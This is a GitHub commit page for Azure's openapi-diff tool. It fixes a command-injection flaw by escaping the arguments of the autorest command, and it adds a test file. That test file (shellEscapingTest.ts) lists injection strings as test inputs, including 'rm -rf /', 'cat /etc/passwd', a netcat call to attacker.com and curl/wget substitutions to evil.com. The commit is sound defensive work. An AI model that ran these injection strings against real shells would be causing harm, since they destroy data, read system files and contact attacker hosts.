Skip to content

Commit 41c3493

Browse files
authored
openapi-diff: fixed issue reported by CodeQL (#358)
* escaped input string * added tests * fixed style * escaped quote for windows * fixed test
1 parent c048232 commit 41c3493

File tree

5 files changed

+179
-14
lines changed

5 files changed

+179
-14
lines changed

CHANGELOG.md

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,9 @@
11
# Changelog
22

3+
## 0.10.14 2025-06-19
4+
5+
- escaped the input string when construct the autorest command
6+
37
## 0.10.5 Released on 2024-02-16
48

59
- update source map version from 0.7.3 to 0.7.4 so that it works with Node 18.

package-lock.json

Lines changed: 23 additions & 2 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

package.json

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
{
22
"name": "@azure/oad",
3-
"version": "0.10.13",
3+
"version": "0.10.14",
44
"author": {
55
"name": "Microsoft Corporation",
66
"email": "[email protected]",
@@ -26,6 +26,7 @@
2626
"minimist": "^1.2.8",
2727
"request": "^2.88.0",
2828
"set-value": "^4.1.0",
29+
"shell-quote": "^1.8.3",
2930
"source-map": "^0.7.4",
3031
"tslib": "^2.6.3",
3132
"winston": "^3.13.0",
@@ -40,6 +41,7 @@
4041
"@types/json-pointer": "^1.0.30",
4142
"@types/node": "^18.11.9",
4243
"@types/request": "^2.48.1",
44+
"@types/shell-quote": "^1.7.5",
4345
"@types/yargs": "^13.0.0",
4446
"eslint": "^8.57.0",
4547
"jest": "^29.7.0",
@@ -80,7 +82,9 @@
8082
"jest": {
8183
"preset": "ts-jest",
8284
"collectCoverage": true,
83-
"testMatch": ["**/*[tT]est.ts"],
85+
"testMatch": [
86+
"**/*[tT]est.ts"
87+
],
8488
"testTimeout": 100000
8589
},
8690
"scripts": {

src/lib/validators/openApiDiff.ts

Lines changed: 30 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,7 @@ import JSON_Pointer from "json-pointer"
1010
import * as jsonRefs from "json-refs"
1111
import * as os from "os"
1212
import * as path from "path"
13+
import { quote } from "shell-quote"
1314
import * as sourceMap from "source-map"
1415
import * as util from "util"
1516
import { log } from "../util/logging"
@@ -82,8 +83,26 @@ const updateChangeProperties = (change: ChangeProperties, pf: ProcessedFile): Ch
8283
}
8384
}
8485

85-
function escape(filePath: string) {
86-
return `"${filePath}"`
86+
/**
87+
* Safely escapes shell arguments for cross-platform compatibility
88+
* @param arg The argument to escape
89+
* @returns The safely escaped argument
90+
*/
91+
function escapeShellArg(arg: string): string {
92+
if (typeof arg !== "string") {
93+
throw new Error("Argument must be a string")
94+
}
95+
96+
if (process.platform === "win32") {
97+
// For Windows cmd.exe, wrap in double quotes and escape internal quotes
98+
// This handles paths with spaces and special characters safely
99+
// Double quotes are escaped by doubling them in Windows
100+
return `"${arg.replace(/"/g, '""')}"`
101+
} else {
102+
// On Unix-like systems, use shell-quote for proper escaping
103+
// shell-quote handles all edge cases including spaces, special chars, etc.
104+
return quote([arg])
105+
}
87106
}
88107

89108
/**
@@ -158,7 +177,7 @@ export class OpenApiDiff {
158177
const result = path.join(__dirname, "..", "..", "..", "node_modules", "autorest", "dist", "app.js")
159178
if (fs.existsSync(result)) {
160179
log.silly(`Found autoRest:${result} `)
161-
return `node ${escape(result)}`
180+
return `node ${escapeShellArg(result)}`
162181
}
163182
}
164183

@@ -167,7 +186,7 @@ export class OpenApiDiff {
167186
const result = path.join(__dirname, "..", "..", "..", "..", "..", "autorest", "dist", "app.js")
168187
if (fs.existsSync(result)) {
169188
log.silly(`Found autoRest:${result} `)
170-
return `node ${escape(result)}`
189+
return `node ${escapeShellArg(result)}`
171190
}
172191
}
173192

@@ -176,7 +195,7 @@ export class OpenApiDiff {
176195
const result = path.resolve("node_modules/.bin/autorest")
177196
if (fs.existsSync(result)) {
178197
log.silly(`Found autoRest:${result} `)
179-
return escape(result)
198+
return escapeShellArg(result)
180199
}
181200
}
182201

@@ -192,7 +211,7 @@ export class OpenApiDiff {
192211
public openApiDiffDllPath(): string {
193212
log.silly(`openApiDiffDllPath is being called`)
194213

195-
return escape(path.join(__dirname, "..", "..", "..", "dlls", "OpenApiDiff.dll"))
214+
return escapeShellArg(path.join(__dirname, "..", "..", "..", "dlls", "OpenApiDiff.dll"))
196215
}
197216

198217
/**
@@ -231,11 +250,12 @@ export class OpenApiDiff {
231250
const outputFolder = await fs.promises.mkdtemp(path.join(os.tmpdir(), "oad-"))
232251
const outputFilePath = path.join(outputFolder, `${outputFileName}.json`)
233252
const outputMapFilePath = path.join(outputFolder, `${outputFileName}.map`)
253+
// Cross-platform shell argument escaping - behavior is validated in shellEscapingTest.ts
234254
const autoRestCmd = tagName
235-
? `${this.autoRestPath()} ${swaggerPath} --v2 --tag=${tagName} --output-artifact=swagger-document.json` +
236-
` --output-artifact=swagger-document.map --output-file=${outputFileName} --output-folder=${outputFolder}`
237-
: `${this.autoRestPath()} --v2 --input-file=${swaggerPath} --output-artifact=swagger-document.json` +
238-
` --output-artifact=swagger-document.map --output-file=${outputFileName} --output-folder=${outputFolder}`
255+
? `${this.autoRestPath()} ${escapeShellArg(swaggerPath)} --v2 --tag=${escapeShellArg(tagName)} --output-artifact=swagger-document.json` +
256+
` --output-artifact=swagger-document.map --output-file=${escapeShellArg(outputFileName)} --output-folder=${escapeShellArg(outputFolder)}`
257+
: `${this.autoRestPath()} --v2 --input-file=${escapeShellArg(swaggerPath)} --output-artifact=swagger-document.json` +
258+
` --output-artifact=swagger-document.map --output-file=${escapeShellArg(outputFileName)} --output-folder=${escapeShellArg(outputFolder)}`
239259

240260
log.debug(`Executing: "${autoRestCmd}"`)
241261

src/test/shellEscapingTest.ts

Lines changed: 116 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,116 @@
1+
import * as assert from "assert"
2+
import { quote } from "shell-quote"
3+
4+
// Test the shell-quote library integration to ensure our security fix works correctly
5+
test("shell escaping with quote function", () => {
6+
// Test normal filenames (should not be escaped)
7+
const normalFile = "simple-file.json"
8+
const escapedNormal = quote([normalFile])
9+
assert.strictEqual(escapedNormal, normalFile)
10+
11+
// Test filenames with spaces (should be quoted)
12+
const fileWithSpaces = "file with spaces.json"
13+
const escapedSpaces = quote([fileWithSpaces])
14+
assert.strictEqual(escapedSpaces, "'file with spaces.json'")
15+
16+
// Test dangerous shell metacharacters (should be escaped)
17+
const dangerousFile = "file;with&dangerous|chars$.json"
18+
const escapedDangerous = quote([dangerousFile])
19+
// shell-quote uses backslash escaping for certain characters
20+
assert.ok(escapedDangerous.includes("\\;"))
21+
assert.ok(escapedDangerous.includes("\\&"))
22+
assert.ok(escapedDangerous.includes("\\|"))
23+
assert.ok(escapedDangerous.includes("\\$"))
24+
})
25+
26+
test("autorest command construction with dangerous inputs", () => {
27+
// Simulate the command construction logic from processViaAutoRest
28+
const autoRestPath = "/usr/bin/autorest"
29+
30+
// Test with dangerous file paths
31+
const dangerousSwaggerPath = "/tmp/file;rm -rf /.json"
32+
const dangerousOutputFile = "output;evil&command"
33+
const dangerousTag = "tag$(evil)"
34+
35+
// Build command like in processViaAutoRest with escaping
36+
const autoRestCmd =
37+
autoRestPath +
38+
" " +
39+
quote([dangerousSwaggerPath]) +
40+
" --v2 --tag=" +
41+
quote([dangerousTag]) +
42+
" --output-artifact=swagger-document.json --output-artifact=swagger-document.map --output-file=" +
43+
quote([dangerousOutputFile])
44+
45+
// Verify that dangerous parts are properly escaped/quoted
46+
// Files with spaces get quoted, dangerous chars get backslash-escaped
47+
assert.ok(autoRestCmd.includes("'/tmp/file;rm -rf /.json'")) // quoted because of spaces
48+
assert.ok(autoRestCmd.includes("output\\;evil\\&command")) // backslash-escaped
49+
assert.ok(autoRestCmd.includes("tag\\$\\(evil\\)")) // backslash-escaped
50+
51+
// Verify that the command structure is maintained
52+
assert.ok(autoRestCmd.includes("--v2"))
53+
assert.ok(autoRestCmd.includes("--tag="))
54+
assert.ok(autoRestCmd.includes("--output-file="))
55+
})
56+
57+
test("autorest command construction without tag", () => {
58+
const autoRestPath = "/usr/bin/autorest"
59+
const swaggerPath = "/tmp/test file.json"
60+
const outputFile = "output file"
61+
const outputFolder = "/tmp/output folder"
62+
63+
// Build command without tag (different structure)
64+
const autoRestCmd =
65+
`${autoRestPath} --v2 --input-file=${quote([swaggerPath])} --output-artifact=swagger-document.json` +
66+
` --output-artifact=swagger-document.map --output-file=${quote([outputFile])} --output-folder=${quote([outputFolder])}`
67+
68+
// Verify correct command structure for non-tagged case
69+
assert.ok(autoRestCmd.includes("--input-file="))
70+
assert.ok(!autoRestCmd.includes("--tag="))
71+
assert.ok(autoRestCmd.includes("--v2"))
72+
73+
// Verify spaces are properly quoted
74+
assert.ok(autoRestCmd.includes("'/tmp/test file.json'"))
75+
assert.ok(autoRestCmd.includes("'output file'"))
76+
assert.ok(autoRestCmd.includes("'/tmp/output folder'"))
77+
})
78+
79+
test("command injection prevention", () => {
80+
// Test various command injection attempts
81+
const injectionAttempts = [
82+
"file.json; rm -rf /",
83+
"file.json && cat /etc/passwd",
84+
"file.json | nc attacker.com 1234",
85+
"file.json $(curl evil.com)",
86+
"file.json `wget malware.com`",
87+
"file.json & background-evil-command"
88+
]
89+
90+
injectionAttempts.forEach(attempt => {
91+
const escaped = quote([attempt])
92+
// Verify that the dangerous parts cannot be executed as separate commands
93+
// They should either be quoted or have dangerous chars escaped
94+
const hasDangerousUnescaped = /[^\\][;&|$`]/.test(escaped) && !escaped.includes("'")
95+
assert.ok(!hasDangerousUnescaped, `Injection attempt not properly escaped: ${attempt} -> ${escaped}`)
96+
})
97+
})
98+
99+
test("edge cases and special characters", () => {
100+
// Test empty string
101+
assert.strictEqual(quote([""]), "''")
102+
103+
// Test string with only spaces
104+
assert.strictEqual(quote([" "]), "' '")
105+
106+
// Test string with newlines
107+
const withNewlines = "file\nwith\nnewlines.json"
108+
const escapedNewlines = quote([withNewlines])
109+
// Should be safely handled
110+
assert.ok(typeof escapedNewlines === "string")
111+
112+
// Test unicode and special chars
113+
const unicodeFile = "файл.json"
114+
const escapedUnicode = quote([unicodeFile])
115+
assert.ok(escapedUnicode.includes("файл"))
116+
})

0 commit comments

Comments
 (0)